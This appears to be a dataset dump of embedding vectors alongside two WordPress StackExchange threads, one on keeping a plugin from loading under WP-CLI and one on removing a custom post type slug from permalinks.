-0.004970550537109375, 0.00981903076171875, -0.0419921875, -0.049560546875, 0.0810546875, -0.034088134765625, 0.027801513671875, 0.0081329345703125, 0.02154541015625, 0.063720703125, 0.044921875, 0.01003265380859375, 0.059539794921875, -0.04388427734375, 0.01056671142578125, 0.0242462158203125, 0.0274200439453125, -0.0255584716796875, -0.003116607666015625, -0.03662109375, 0.001750946044921875, 0.02911376953125, -0.01357269287109375, -0.040802001953125, 0.007354736328125, 0.0081329345703125, 0.06268310546875, 0.012298583984375, -0.07489013671875, -0.034576416015625, 0.045623779296875, -0.0197296142578125, -0.0188140869140625, -0.018341064453125, -0.030548095703125, 0.0149688720703125, 0.0190277099609375, 0.03936767578125, -0.0089111328125, 0.0134735107421875, -0.0577392578125, -0.00455474853515625, 0.003704071044921875 ]
e40923a79957084e73370378e04b5da761afd755
Wordpress Stackexchange Q: How I prevent a plugin to be loaded when doing WP-CLI? I currently use this code in the main plugins file itself. But that plugin is not my own so I would prefer to be able to upgrade it normally without every time adding this code. if ( defined( 'WP_CLI' ) && WP_CLI ) { exit; } I need to do this because this plugin produces errors and stops wp-cli to execute correctly so I can't just disable the plugin with wp-cli, do my tasks and re-enable it. Is there a way I can do something like if x then do not load plugin file x from within a mu-plugin? A: You can use the skip-plugins option in WP-CLI to not load individual plugins when using WP-CLI. You can either use it in command like this: wp user list --skip-plugins=my-plugin Or you can add this to your wp-cli.yml file: skip-plugins: - my-plugin
Q: How I prevent a plugin to be loaded when doing WP-CLI? I currently use this code in the main plugins file itself. But that plugin is not my own so I would prefer to be able to upgrade it normally without every time adding this code. if ( defined( 'WP_CLI' ) && WP_CLI ) { exit; } I need to do this because this plugin produces errors and stops wp-cli to execute correctly so I can't just disable the plugin with wp-cli, do my tasks and re-enable it. Is there a way I can do something like if x then do not load plugin file x from within a mu-plugin? A: You can use the skip-plugins option in WP-CLI to not load individual plugins when using WP-CLI. You can either use it in command like this: wp user list --skip-plugins=my-plugin Or you can add this to your wp-cli.yml file: skip-plugins: - my-plugin A: One of the first things WordPress does to load plugins is get the active plugins as saved in the database: $active_plugins = (array) get_option( 'active_plugins', array() ); Since it uses get_option() we can use the option_active_plugins filter to modify the list of active plugins on the fly. function wpse_301282_disable_plugin( $active_plugins ) { if ( defined( 'WP_CLI' ) && WP_CLI ) { $key = array_search( 'gravityforms/gravityforms.php', $active_plugins ); if ( $key ) { unset( $active_plugins[$key] ); } } return $active_plugins; } add_filter( 'option_active_plugins', 'wpse_301282_disable_plugin' ); Just replace gravityforms/gravityforms.php with the directory and filename of the plugin you want to disable. The problem here is that we are trying to affect the loading of plugins, so we can't do that from within a plugin, because it's too late. In the theme would also be too late. Thankfully WordPress has "Must Use Plugins" these are plugins you can add that are loaded before and separately to regular plugins, and do not appear in the regular plugins list. All you need to do to add this code to a Must Use Plugin is to create a wp-content/mu-plugins directory (if it doesn't already exist) and create a PHP file (it can be called anything) with that code in it. You don't need a plugin header or anything else. Now that code will be loaded before all other plugins when WordPress loads. Since our filter is in place, when WordPress gets the list of active plugins to load the plugin you want to disable will be filtered out of that list if WP-CLI is active. A: Just re-naming the plugin dir name will disable it. I do it sometimes to temporarily disable a plugin [linux]: mv my-plugin-dir renamed-my-plugin-dir
wordpress
{ "language": "en", "length": 436, "provenance": "stackexchange_00019.jsonl.gz:485572", "question_score": "15", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301282" }
[ 0.039825439453125, -0.01499176025390625, 0.023284912109375, -0.07110595703125, -0.00860595703125, 0.0194549560546875, -0.03057861328125, 0.001781463623046875, -0.0258941650390625, 0.006145477294921875, -0.0237884521484375, 0.02099609375, -0.0155029296875, -0.0111083984375, 0.01404571533203125, -0.051300048828125, 0.029083251953125, 0.0067291259765625, 0.02325439453125, -0.01146697998046875, 0.0158538818359375, 0.014739990234375, 0.0165252685546875, 0.07989501953125, 0.0194091796875, -0.03857421875, 0.06964111328125, 0.00644683837890625, -0.006572723388671875, -0.0218353271484375, 0.0182342529296875, 0.0018863677978515625, -0.005523681640625, 0.044891357421875, -0.027557373046875, -0.03436279296875, -0.02337646484375, 0.0264739990234375, 0.00475311279296875, 0.0167694091796875, 0.01291656494140625, -0.0107421875, -0.0181427001953125, 0.037353515625, -0.0260467529296875, -0.03460693359375, 0.0153350830078125, -0.0196990966796875, 0.0210723876953125, 0.004673004150390625, 0.0029754638671875, 0.032379150390625, 0.0196685791015625, -0.00997161865234375, -0.00873565673828125, -0.006618499755859375, -0.0650634765625, 0.059356689453125, 0.01035308837890625, 0.0614013671875, 0.007843017578125, 0.0142669677734375, -0.01739501953125, -0.0321044921875, 0.0300445556640625, -0.03802490234375, -0.051788330078125, 0.032012939453125, -0.061492919921875, 0.051116943359375, 0.086669921875, -0.058563232421875, 0.01959228515625, 0.00022912025451660156, -0.0282745361328125, -0.049102783203125, 0.045562744140625, -0.044342041015625, 0.006744384765625, -0.0140380859375, 0.060882568359375, -0.004627227783203125, 0.01015472412109375, 0.01505279541015625, 0.0240631103515625, 0.055328369140625, 0.0088043212890625, -0.039215087890625, 0.01904296875, 0.01458740234375, -0.0242156982421875, 0.05963134765625, 0.038848876953125, 0.005542755126953125, -0.0560302734375, 0.01282501220703125, -0.01160430908203125, -0.010040283203125, -0.02264404296875, -0.01312255859375, 0.01812744140625, -0.017852783203125, -0.00864410400390625, 0.0079803466796875, -0.0135955810546875, 0.1082763671875, 0.017364501953125, 0.01800537109375, -0.01497650146484375, 0.001171112060546875, 0.03826904296875, -0.041412353515625, 0.0026302337646484375, -0.019683837890625, -0.007568359375, 0.0121307373046875, -0.02435302734375, 0.031280517578125, 0.00010311603546142578, 0.0306243896484375, 0.0164794921875, 0.0038433074951171875, -0.008697509765625, 0.01157379150390625, 0.015533447265625, 0.0008831024169921875, -0.0204010009765625, -0.01143646240234375, -0.072021484375, -0.000028252601623535156, -0.004344940185546875, -0.012969970703125, 0.01885986328125, 0.07000732421875, 0.0147552490234375, -0.004100799560546875, 0.030975341796875, 0.0241546630859375, 0.01666259765625, 0.005096435546875, -0.0285797119140625, -0.04071044921875, -0.009368896484375, -0.0177459716796875, -0.0006375312805175781, 0.018798828125, -0.0005578994750976562, -0.007419586181640625, -0.0111236572265625, -0.020904541015625, -0.003330230712890625, -0.048187255859375, 0.0185394287109375, 0.0233917236328125, 0.040924072265625, -0.0019283294677734375, 0.08477783203125, -0.0452880859375, -0.0152130126953125, -0.0303802490234375, -0.050994873046875, 0.00029754638671875, 0.0198211669921875, -0.037200927734375, -0.03515625, 0.010528564453125, 0.005344390869140625, 0.012725830078125, 0.018707275390625, 0.0162200927734375, 0.007381439208984375, 0.0105438232421875, 0.03192138671875, 0.0259857177734375, 0.0113983154296875, 0.00860595703125, 0.0265045166015625, 0.0023651123046875, 0.0212554931640625, 0.037322998046875, -0.0189056396484375, -0.0223388671875, 0.0947265625, -0.04522705078125, -0.0670166015625, 0.01403045654296875, -0.001728057861328125, 0.0390625, 0.032928466796875, -0.0037994384765625, 0.058929443359375, -0.00710296630859375, -0.01143646240234375, -0.01474761962890625, -0.03179931640625, -0.02978515625, 0.0252838134765625, 0.005222320556640625, -0.01678466796875, 0.043487548828125, 0.01091766357421875, -0.0330810546875, -0.028411865234375, -0.037139892578125, -0.1424560546875, -0.047119140625, -0.036407470703125, 0.01335906982421875, 0.005756378173828125, 0.01294708251953125, 0.0023632049560546875, -0.009765625, -0.00025200843811035156, -0.026031494140625, -0.00780487060546875, 0.03887939453125, -0.04339599609375, 0.045684814453125, -0.002223968505859375, 0.055633544921875, -0.0139617919921875, -0.0247344970703125, 0.0019245147705078125, -0.021728515625, -0.033660888671875, 0.01715087890625, -0.01557159423828125, 0.031829833984375, -0.00021314620971679688, 0.0251922607421875, 0.04620361328125, -0.0185089111328125, 0.05084228515625, 0.03814697265625, -0.01971435546875, 0.0030574798583984375, 0.0026569366455078125, -0.0672607421875, 0.0017261505126953125, 0.04766845703125, 0.021514892578125, -0.00555419921875, -0.0034961700439453125, 0.01004791259765625, -0.0019168853759765625, -0.0550537109375, 0.005645751953125, -0.0035076141357421875, -0.00789642333984375, -0.0014963150024414062, -0.002010345458984375, 0.00997161865234375, 0.03326416015625, 0.005992889404296875, -0.005218505859375, 0.050201416015625, 0.0248870849609375, -0.032470703125, 0.018035888671875, -0.0091094970703125, 0.022613525390625, -0.01143646240234375, -0.06292724609375, 0.0242919921875, -0.037200927734375, -0.0167694091796875, -0.02001953125, -0.004550933837890625, 0.01383209228515625, -0.034088134765625, 0.0247802734375, -0.00495147705078125, 0.0096435546875, -0.007598876953125, 0.01763916015625, 0.03143310546875, -0.04193115234375, -0.01438140869140625, 0.052032470703125, 0.0306396484375, -0.030731201171875, -0.034912109375, -0.00762939453125, -0.0022907257080078125, 0.0150604248046875, -0.0285491943359375, 0.049774169921875, 0.0241851806640625, -0.031158447265625, -0.0218048095703125, 0.00408172607421875, 0.006595611572265625, -0.01103973388671875, -0.006626129150390625, 0.0021877288818359375, -0.0263671875, 0.00527191162109375, -0.0247039794921875, 0.018951416015625, -0.018463134765625, 0.0364990234375, 0.05950927734375, 0.018585205078125, -0.014862060546875, 0.006954193115234375, 0.017333984375, 0.0169525146484375, -0.0279541015625, -0.0305023193359375, 0.02532958984375, -0.08563232421875, -0.011871337890625, 0.01483154296875, 0.0301055908203125, 0.0116119384765625, -0.031890869140625, -0.0087890625, 0.0169677734375, -0.032623291015625, -0.037078857421875, -0.011932373046875, -0.0302276611328125, 0.03668212890625, -0.01068878173828125, 0.0015811920166015625, -0.0274200439453125, 0.01271820068359375, 0.02392578125, -0.0185699462890625, -0.039093017578125, -0.0250396728515625, -0.06011962890625, -0.05084228515625, 0.0291748046875, 0.0086517333984375, 0.008575439453125, -0.00560760498046875, 0.1270751953125, 0.0053863525390625, -0.0751953125, -0.015899658203125, 0.021209716796875, -0.017303466796875, 0.01288604736328125, 0.0017147064208984375, -0.02880859375, 0.043060302734375, -0.008880615234375, 0.044830322265625, 0.048583984375, -0.023193359375, 0.00003147125244140625, 0.0244140625, -0.048858642578125, 0.014801025390625, 0.037017822265625, -0.036407470703125, -0.0222320556640625, 0.031646728515625, -0.050811767578125, -0.0050201416015625, -0.01253509521484375, -0.03826904296875, 0.013702392578125, 0.00724029541015625, -0.00543212890625, 0.0074005126953125, -0.0005717277526855469, 0.0268402099609375, 0.0287628173828125, -0.0031108856201171875, 0.0159149169921875, 0.0302276611328125, -0.0047607421875, 0.01361846923828125, -0.02838134765625, 0.09906005859375, 0.00714874267578125, -0.08209228515625, 0.0218505859375, -0.00958251953125, -0.0246734619140625, -0.0213623046875, -0.06256103515625, 0.029815673828125, 0.0210113525390625, -0.0170135498046875, 0.042266845703125, -0.0227813720703125, -0.001789093017578125, -0.02850341796875, 0.0280609130859375, -0.0235748291015625, -0.033599853515625, 0.0050048828125, 0.0157470703125, -0.025360107421875, -0.030181884765625, -0.01509857177734375, -0.0256195068359375, -0.045013427734375, -0.0194091796875, 0.007480621337890625, -0.0423583984375, 0.01313018798828125, -0.005344390869140625, -0.0230865478515625, -0.032073974609375, 0.031524658203125, -0.03729248046875, 0.0264892578125, -0.002902984619140625, 0.00986480712890625, -0.0258941650390625, -0.0313720703125, -0.018280029296875, -0.11004638671875, -0.004116058349609375, -0.050445556640625, 0.0509033203125, -0.016387939453125, 0.05499267578125, -0.0382080078125, 0.025970458984375, 0.01503753662109375, 0.01739501953125, 0.01221466064453125, -0.00882720947265625, 0.036834716796875, 0.0286102294921875, 0.020355224609375, 0.013275146484375, -0.0138092041015625, -0.0176849365234375, 0.0031280517578125, 0.01206207275390625, -0.01042938232421875, -0.0135345458984375, 0.001903533935546875, -0.01537322998046875, 0.011260986328125, -0.04840087890625, -0.041290283203125, -0.021270751953125, -0.00867462158203125, -0.0174560546875, -0.044464111328125, 0.0194244384765625, 0.02801513671875, -0.0236968994140625, -0.004398345947265625, 0.007221221923828125, 0.048065185546875, 0.0186004638671875, -0.021759033203125, -0.0013904571533203125, 0.024749755859375, 0.0198211669921875, -0.0188446044921875, 0.060699462890625, 0.00830841064453125, -0.0003647804260253906, 0.056365966796875, -0.022125244140625, 0.01457977294921875, 0.0177001953125, 0.02386474609375, 0.0033111572265625, -0.039642333984375, 0.008819580078125, -0.007541656494140625, -0.0255889892578125, 0.054840087890625, 0.01617431640625, -0.04266357421875, 0.031402587890625, 0.03558349609375, -0.01436614990234375, -0.013580322265625, -0.0272369384765625, -0.021820068359375, 0.00922393798828125, -0.056365966796875, 0.0117645263671875, 0.03192138671875, -0.0222930908203125, 0.0173187255859375, -0.0145721435546875, -0.00661468505859375, 0.029144287109375, 0.05340576171875, -0.0092315673828125, 0.0240020751953125, 0.045562744140625, -0.0224609375, -0.017730712890625, -0.0194091796875, 0.068359375, -0.0001233816146850586, -0.031341552734375, -0.0196380615234375, -0.0122222900390625, 0.00580596923828125, 0.0227813720703125, 0.019866943359375, 0.0657958984375, 0.004093170166015625, -0.0175933837890625, -0.0287933349609375, -0.020721435546875, -0.0303955078125, -0.050506591796875, -0.007450103759765625, -0.002742767333984375, -0.0177154541015625, 0.0198974609375, 0.02679443359375, -0.0231781005859375, 0.0283355712890625, 0.0011110305786132812, 0.051055908203125, 0.012298583984375, 0.0099334716796875, 0.00997161865234375, 0.0024623870849609375, 0.0005474090576171875, -0.01128387451171875, -0.00665283203125, -0.008270263671875, 0.003009796142578125, 0.005611419677734375, 0.0191802978515625, -0.024322509765625, -0.0176239013671875, 0.041412353515625, -0.030303955078125, 0.003025054931640625, 0.030914306640625, 0.008148193359375, -0.0047760009765625, -0.041473388671875, -0.020172119140625, 0.0523681640625, -0.00460052490234375, -0.0166473388671875, 0.022125244140625, -0.0037784576416015625, -0.03802490234375, 0.1138916015625, -0.107666015625, 0.014373779296875, 0.042816162109375, 0.01456451416015625, -0.02099609375, -0.0009632110595703125, -0.0198974609375, 0.005828857421875, -0.0293731689453125, -0.017578125, 0.026641845703125, -0.0226593017578125, -0.0047454833984375, -0.01523590087890625, 0.00868988037109375, -0.00035881996154785156, 0.0263519287109375, 0.0188446044921875, 0.001445770263671875, -0.0506591796875, 0.006595611572265625, -0.05029296875, -0.030731201171875, -0.0858154296875, -0.05450439453125, -0.07293701171875, 0.0135345458984375, 0.028228759765625, 0.0037670135498046875, -0.01195526123046875, -0.0264434814453125, -0.005779266357421875, 0.0248870849609375, 0.033843994140625, 0.00566864013671875, -0.019622802734375, 0.034942626953125, 0.033599853515625, 0.0229949951171875, 0.01137542724609375, 0.0361328125, 0.032684326171875, -0.036773681640625, -0.0250244140625, -0.0374755859375, 0.01303863525390625, 0.0257568359375, -0.0128173828125, 0.043060302734375, 0.0888671875, 0.016845703125, -0.01335906982421875, -0.003925323486328125, 0.0005435943603515625, -0.00824737548828125, 0.035430908203125, 0.0321044921875, 0.0011949539184570312, 0.000270843505859375, -0.027679443359375, -0.00385284423828125, 0.0251312255859375, 0.0036449432373046875, 0.01351165771484375, -0.01519012451171875, 0.00389862060546875, -0.01454925537109375, -0.0435791015625, 0.06768798828125, 0.06671142578125, 0.000835418701171875, 0.04925537109375, 0.0161285400390625, 0.0280609130859375, 0.008331298828125, -0.0021991729736328125, 0.058319091796875, 0.01033782958984375, 0.07568359375, -0.00389862060546875, 0.0009722709655761719, 0.045989990234375, -0.042083740234375, -0.0005517005920410156, 0.039459228515625, 0.046630859375, -0.049468994140625, 0.01151275634765625, 0.0018320083618164062, 0.0065155029296875, 0.0227813720703125, -0.01898193359375, -0.01409912109375, -0.044403076171875, 0.03814697265625, 0.023223876953125, -0.0208587646484375, 0.00745391845703125, 0.010528564453125, -0.031494140625, 0.00922393798828125, -0.034942626953125, 0.0248565673828125, -0.017547607421875, 0.0191650390625, 0.0132598876953125, 0.01041412353515625, 0.005702972412109375, 0.01380157470703125, -0.004058837890625, -0.033172607421875, -0.04803466796875, -0.0151824951171875, -0.0093841552734375, -0.03717041015625, 0.053558349609375, -0.006496429443359375, 0.03546142578125, 0.051971435546875, -0.00829315185546875, 0.00661468505859375, 0.0244903564453125, 0.002628326416015625, -0.011383056640625, -0.03521728515625, -0.01296234130859375, 0.046966552734375, -0.055999755859375, 0.0167388916015625, -0.01708984375, -0.00725555419921875, -0.01526641845703125, -0.0251922607421875, 0.075927734375, 0.02685546875, -0.045257568359375, 0.031402587890625, -0.029510498046875, -0.0308074951171875, -0.02386474609375, 0.054962158203125, -0.0229339599609375, 0.005649566650390625, 0.0129852294921875, 0.004123687744140625, -0.045745849609375, -0.0194549560546875, -0.058502197265625, 0.0709228515625, -0.01263427734375, 0.04315185546875, 0.02008056640625, 0.008514404296875, -0.007335662841796875, -0.005859375, -0.031219482421875, 0.067626953125, 0.004604339599609375, 0.04571533203125, -0.0239410400390625, -0.010162353515625, 0.02728271484375, 0.01922607421875, 0.0256805419921875, 0.0043792724609375, -0.00536346435546875, 0.0006766319274902344, 0.034210205078125, 0.0181427001953125, 0.0042572021484375, 0.0279998779296875, -0.006618499755859375, 0.01247406005859375, -0.0059051513671875, -0.030029296875, 0.033599853515625, -0.046844482421875, -0.0269012451171875, 0.00809478759765625, 0.0226287841796875, 0.0303955078125, -0.0202789306640625, 0.02423095703125, 0.005458831787109375, -0.00669097900390625, -0.0014553070068359375, 0.045318603515625, 0.0061798095703125, 0.005954742431640625, -0.02642822265625, 0.02825927734375, -0.01328277587890625, -0.0043792724609375, 0.016937255859375, -0.0097503662109375, 0.0144805908203125, -0.0224761962890625, -0.01177978515625, -0.0018520355224609375, -0.031707763671875, -0.0089569091796875, 0.0172119140625, -0.02325439453125, -0.0268707275390625, 0.00492095947265625, 0.03814697265625, -0.0097198486328125, 0.0250091552734375, 0.037353515625, -0.02569580078125, 0.001186370849609375, -0.0758056640625, 0.004116058349609375, 0.004070281982421875, -0.0205230712890625, 0.01422119140625, -0.058135986328125, -0.03875732421875, 0.08636474609375, 0.00597381591796875, -0.0031452178955078125, -0.002056121826171875, 0.0020847320556640625, 0.0014142990112304688, 0.00199127197265625, -0.0027618408203125, 0.0214996337890625, -0.0005726814270019531, 0.01438140869140625, 0.01409912109375, 0.007965087890625, -0.01268768310546875, 0.02001953125, 0.004398345947265625, 0.004680633544921875, -0.00836181640625, 0.01580810546875, -0.015838623046875, 0.014984130859375, -0.0161895751953125, -0.028167724609375, 0.006549835205078125, 0.02825927734375, 0.01018524169921875, 0.024566650390625, 0.065185546875, 0.082763671875, -0.0202789306640625, -0.013580322265625, 0.0897216796875, 0.0025386810302734375, -0.01019287109375, -0.006076812744140625, 0.02508544921875, 0.02691650390625, -0.00778961181640625, -0.0247650146484375, 0.0499267578125, 0.016204833984375, -0.040557861328125, 0.018341064453125, -0.00818634033203125, -0.00930023193359375, 0.03302001953125, -0.02294921875, 0.01155853271484375, -0.0024852752685546875, -0.040496826171875, -0.0099334716796875, -0.01776123046875, 0.004192352294921875, 0.01222991943359375, 0.0196533203125, -0.02703857421875, 0.059234619140625, 0.0233917236328125, 0.005939483642578125, -0.013031005859375, -0.0203094482421875, 0.037811279296875, -0.032379150390625, -0.005672454833984375, 0.017486572265625, -0.0305938720703125, -0.00180816650390625, -0.03369140625, 0.0200347900390625, 0.036834716796875, 0.030975341796875, 0.006801605224609375, 0.033721923828125, 0.004241943359375, -0.044708251953125, 0.037200927734375, 0.018463134765625, -0.053619384765625, 0.01236724853515625, 0.0159149169921875, -0.0093536376953125, -0.032196044921875, 0.032867431640625, 0.015655517578125, -0.006267547607421875, 0.0138702392578125, -0.0245819091796875, 0.016754150390625, 0.006374359130859375, 0.032379150390625, -0.0270233154296875, -0.034912109375, -0.0435791015625, -0.0185394287109375, 0.028228759765625, 0.02227783203125, 0.0084075927734375, -0.02105712890625, 0.0057220458984375, -0.032440185546875, -0.0175323486328125, 0.03363037109375, -0.05999755859375, 0.0049896240234375, 0.02899169921875, -0.0259552001953125, -0.0156402587890625, -0.028350830078125, 0.0006570816040039062, 0.0043792724609375, 0.0250091552734375, -0.021636962890625, -0.055633544921875, -0.0179443359375, 0.01165771484375, 0.039947509765625, -0.025238037109375, 0.018280029296875, -0.01654052734375, 0.0115966796875, 0.0019178390502929688, -0.09210205078125, -0.036529541015625, -0.0909423828125, 0.012359619140625, 0.046630859375, -0.043365478515625, -0.01082611083984375, -0.0017766952514648438, 0.00943756103515625, 0.03173828125, 0.0011796951293945312, -0.050323486328125, 0.05023193359375, -0.046539306640625, -0.0016202926635742188, -0.0156707763671875, 0.0289459228515625, -0.035369873046875, -0.0273590087890625, -0.0246734619140625, -0.05078125, -0.03973388671875, 0.085693359375, -0.00952911376953125, 0.0120086669921875, 0.038330078125, -0.01122283935546875, -0.019195556640625, -0.0023899078369140625, -0.0111846923828125, 0.044342041015625, -0.020721435546875, 0.022064208984375, 0.0219573974609375, 0.0290069580078125, -0.0601806640625, -0.09710693359375, 0.003997802734375, -0.034149169921875, 0.00452423095703125, -0.049285888671875, -0.0008521080017089844, -0.022430419921875, -0.05194091796875, -0.07611083984375, 0.064697265625, -0.0188751220703125, -0.0256195068359375, -0.042449951171875, -0.018768310546875, -0.00798797607421875, 0.01137542724609375, -0.00817108154296875, -0.03594970703125, -0.0357666015625, 0.0562744140625, -0.0228271484375, -0.0224761962890625, 0.01800537109375, -0.04437255859375, 0.00841522216796875, 0.026947021484375, 0.07855224609375, -0.0198974609375, -0.035003662109375, 0.0295562744140625, 0.022674560546875, 0.03997802734375, 0.0007891654968261719, 0.095703125, 0.02520751953125, -0.004322052001953125, -0.01026153564453125, -0.01441192626953125, -0.0222320556640625, 0.0032215118408203125, 0.0718994140625, 0.058319091796875, 0.02813720703125, -0.024749755859375, -0.0352783203125, -0.00775909423828125, 0.029327392578125, -0.00865936279296875, 0.0091400146484375, -0.09857177734375, -0.0335693359375, 0.0265350341796875, 0.012176513671875, 0.025390625, 0.0047760009765625, -0.0031490325927734375, -0.0242462158203125, 0.019927978515625, 0.0085296630859375, -0.07415771484375, -0.0115509033203125, 0.023681640625, -0.01357269287109375, 0.01849365234375, -0.00146484375, 0.016754150390625, 0.0171356201171875, 0.024169921875, -0.02911376953125, -0.0158538818359375, -0.0112152099609375, 0.0560302734375, -0.031280517578125, 0.0289459228515625, -0.03753662109375, 0.0120697021484375, -0.03173828125, 0.0078277587890625, -0.00027561187744140625, 0.007568359375, 0.029876708984375, 0.001186370849609375, 0.02935791015625, 0.01422119140625, -0.0025424957275390625, -0.0298309326171875, -0.028350830078125, 0.01508331298828125, -0.01947021484375, 0.01385498046875, -0.00434112548828125, 0.0245361328125, 0.0078125, 0.0394287109375, -0.01226806640625, 0.0013685226440429688, 0.00518035888671875, 0.007110595703125, 0.00008225440979003906, -0.01120758056640625 ]
47e6afc60abf23969ffa06c442832ae3f3d0f9fa
Wordpress Stackexchange Q: Remove CPT slug from URL This question has been asked so many times, and i have viewed every answer in this meta, and outside. Still none are functioning in Wordpress 4.9.5 (latest version). The enhancement asked 3 years ago is still waiting: https://core.trac.wordpress.org/ticket/34136#ticket How to remove the Custom Post Type slug name from the url, without creating issue to previous posts or pages? I've tried the following solutions: https://wordpress.stackexchange.com/a/204210 - 404 page https://kellenmace.com/remove-custom-post-type-slug-from-permalinks/ - 404 page http://www.codeinhouse.com/remove-slug-from-custom-post-type-in-wordpress/ - 404 page A: Change permstruct for your CPT. add_action( 'init', function() { add_permastruct( 'tvshow', '/custom_home_page/%tvshow%'); }, 11); However, this is a complex question and can involve different steps to make it work in different ways. P/S/ don't forget to flush url rules.
Q: Remove CPT slug from URL This question has been asked so many times, and i have viewed every answer in this meta, and outside. Still none are functioning in Wordpress 4.9.5 (latest version). The enhancement asked 3 years ago is still waiting: https://core.trac.wordpress.org/ticket/34136#ticket How to remove the Custom Post Type slug name from the url, without creating issue to previous posts or pages? I've tried the following solutions: https://wordpress.stackexchange.com/a/204210 - 404 page https://kellenmace.com/remove-custom-post-type-slug-from-permalinks/ - 404 page http://www.codeinhouse.com/remove-slug-from-custom-post-type-in-wordpress/ - 404 page A: Change permstruct for your CPT. add_action( 'init', function() { add_permastruct( 'tvshow', '/custom_home_page/%tvshow%'); }, 11); However, this is a complex question and can involve different steps to make it work in different ways. P/S/ don't forget to flush url rules.
wordpress
{ "language": "en", "length": 121, "provenance": "stackexchange_00019.jsonl.gz:485628", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301519" }
[ 0.075927734375, 0.01220703125, 0.024688720703125, -0.0263519287109375, 0.027496337890625, -0.03192138671875, 0.07611083984375, -0.0400390625, -0.011810302734375, 0.0214691162109375, 0.0670166015625, -0.027313232421875, -0.018890380859375, -0.059478759765625, -0.00576019287109375, 0.0022735595703125, 0.0262451171875, -0.00080108642578125, 0.0233154296875, -0.0275726318359375, 0.01262664794921875, -0.024139404296875, 0.04022216796875, 0.039337158203125, 0.0156402587890625, -0.0209197998046875, 0.04644775390625, -0.0143585205078125, -0.00920867919921875, -0.03863525390625, 0.01290130615234375, 0.02545166015625, -0.003734588623046875, 0.0239410400390625, 0.0072174072265625, -0.00061798095703125, -0.007843017578125, 0.0233917236328125, 0.0177459716796875, -0.005275726318359375, -0.0164337158203125, 0.0089569091796875, 0.003292083740234375, 0.005580902099609375, -0.020782470703125, -0.0036640167236328125, -0.03607177734375, -0.04144287109375, 0.006526947021484375, 0.00528717041015625, -0.0102996826171875, 0.01081085205078125, 0.0012836456298828125, 0.026275634765625, -0.008148193359375, -0.024566650390625, 0.011383056640625, 0.0094146728515625, -0.00043463706970214844, 0.007549285888671875, 0.0037479400634765625, 0.050048828125, -0.0031833648681640625, 0.0008788108825683594, -0.0035572052001953125, 0.002227783203125, -0.022216796875, 0.01143646240234375, -0.021881103515625, 0.0028553009033203125, 0.0184478759765625, -0.0182037353515625, 0.007221221923828125, -0.0180511474609375, 0.0166015625, -0.03277587890625, -0.0021514892578125, -0.03289794921875, 0.01195526123046875, 0.017669677734375, 0.02935791015625, -0.03948974609375, -0.037322998046875, 0.0160064697265625, 0.006198883056640625, 0.0289154052734375, -0.0041046142578125, -0.0190277099609375, -0.01027679443359375, -0.00472259521484375, -0.0217437744140625, -0.034912109375, 0.0274810791015625, -0.002010345458984375, -0.0325927734375, -0.0177154541015625, 0.05548095703125, 0.0295562744140625, -0.006160736083984375, -0.03668212890625, 0.0260162353515625, -0.058197021484375, 0.0021572113037109375, -0.004009246826171875, 0.0144195556640625, -0.005649566650390625, 0.009765625, 0.062042236328125, 0.05694580078125, 0.016326904296875, -0.0204620361328125, 0.00902557373046875, -0.0244140625, -0.002017974853515625, -0.02728271484375, 0.044403076171875, -0.01079559326171875, -0.037445068359375, -0.04266357421875, 0.00008553266525268555, -0.01450347900390625, 0.01493072509765625, 0.02252197265625, -0.036834716796875, 0.012939453125, 0.00982666015625, -0.0089874267578125, -0.038970947265625, 0.00679779052734375, 0.0231781005859375, -0.0477294921875, 0.00594329833984375, 0.07928466796875, 0.051422119140625, 0.0210418701171875, -0.033660888671875, 0.0245513916015625, 0.00033354759216308594, -0.009185791015625, 0.034881591796875, 0.0119171142578125, -0.04901123046875, -0.033935546875, 0.00992584228515625, 0.06134033203125, 0.01971435546875, 0.0017223358154296875, 0.01995849609375, 0.04852294921875, -0.005580902099609375, 0.0107421875, -0.03680419921875, 0.062744140625, 0.005725860595703125, -0.03863525390625, -0.031646728515625, 0.039794921875, -0.04461669921875, -0.013946533203125, -0.06610107421875, 0.016632080078125, -0.0133056640625, -0.021331787109375, -0.0251007080078125, -0.046844482421875, 0.0277862548828125, -0.0272064208984375, -0.004222869873046875, 0.01311492919921875, 0.04034423828125, -0.03216552734375, -0.0160675048828125, -0.023040771484375, 0.00957489013671875, -0.022796630859375, 0.0207672119140625, 0.02587890625, 0.041748046875, -0.016937255859375, 0.079833984375, 0.0401611328125, -0.039154052734375, 0.051483154296875, -0.02850341796875, -0.09027099609375, 0.03021240234375, 0.018646240234375, 0.07012939453125, 0.015716552734375, 0.005298614501953125, 0.061737060546875, 0.0223236083984375, -0.0176544189453125, 0.0289459228515625, 0.00815582275390625, -0.027496337890625, -0.017364501953125, -0.011383056640625, -0.01727294921875, 0.003429412841796875, -0.04058837890625, 0.05780029296875, -0.021026611328125, 0.032562255859375, -0.02520751953125, 0.0433349609375, -0.01702880859375, 0.055572509765625, -0.01197052001953125, 0.0053558349609375, 0.0081329345703125, -0.00646209716796875, -0.040802001953125, 0.007904052734375, -0.0268707275390625, 0.031890869140625, 0.0217437744140625, 0.0014772415161132812, -0.01454925537109375, 0.0030422210693359375, -0.0002961158752441406, -0.0192718505859375, -0.0211029052734375, 0.0408935546875, 0.040008544921875, 0.000682830810546875, -0.0213623046875, -0.021697998046875, 0.021209716796875, 0.0094146728515625, -0.06414794921875, 0.037017822265625, 0.036224365234375, 0.0177764892578125, -0.024200439453125, 0.0164794921875, 0.0247650146484375, -0.0238037109375, -0.0191497802734375, 0.0276947021484375, 0.022125244140625, 0.0006227493286132812, -0.05633544921875, -0.0584716796875, 0.029876708984375, -0.032562255859375, -0.01209259033203125, -0.0143585205078125, 0.0150909423828125, 0.01560211181640625, 0.025115966796875, -0.01036834716796875, 0.030517578125, -0.0205841064453125, 0.03521728515625, 0.023529052734375, -0.01080322265625, 0.011260986328125, -0.011199951171875, 0.0027980804443359375, 0.004627227783203125, 0.0023021697998046875, -0.013885498046875, -0.0019893646240234375, -0.0002703666687011719, 0.0245208740234375, 0.00882720947265625, 0.03466796875, -0.0180206298828125, 0.00994873046875, 0.01309967041015625, 0.0118560791015625, -0.01403045654296875, 0.0413818359375, 0.07940673828125, 0.0005598068237304688, -0.057159423828125, -0.0009765625, 0.01245880126953125, 0.021575927734375, -0.00568389892578125, 0.01314544677734375, -0.0025920867919921875, -0.00218963623046875, -0.01837158203125, -0.068603515625, 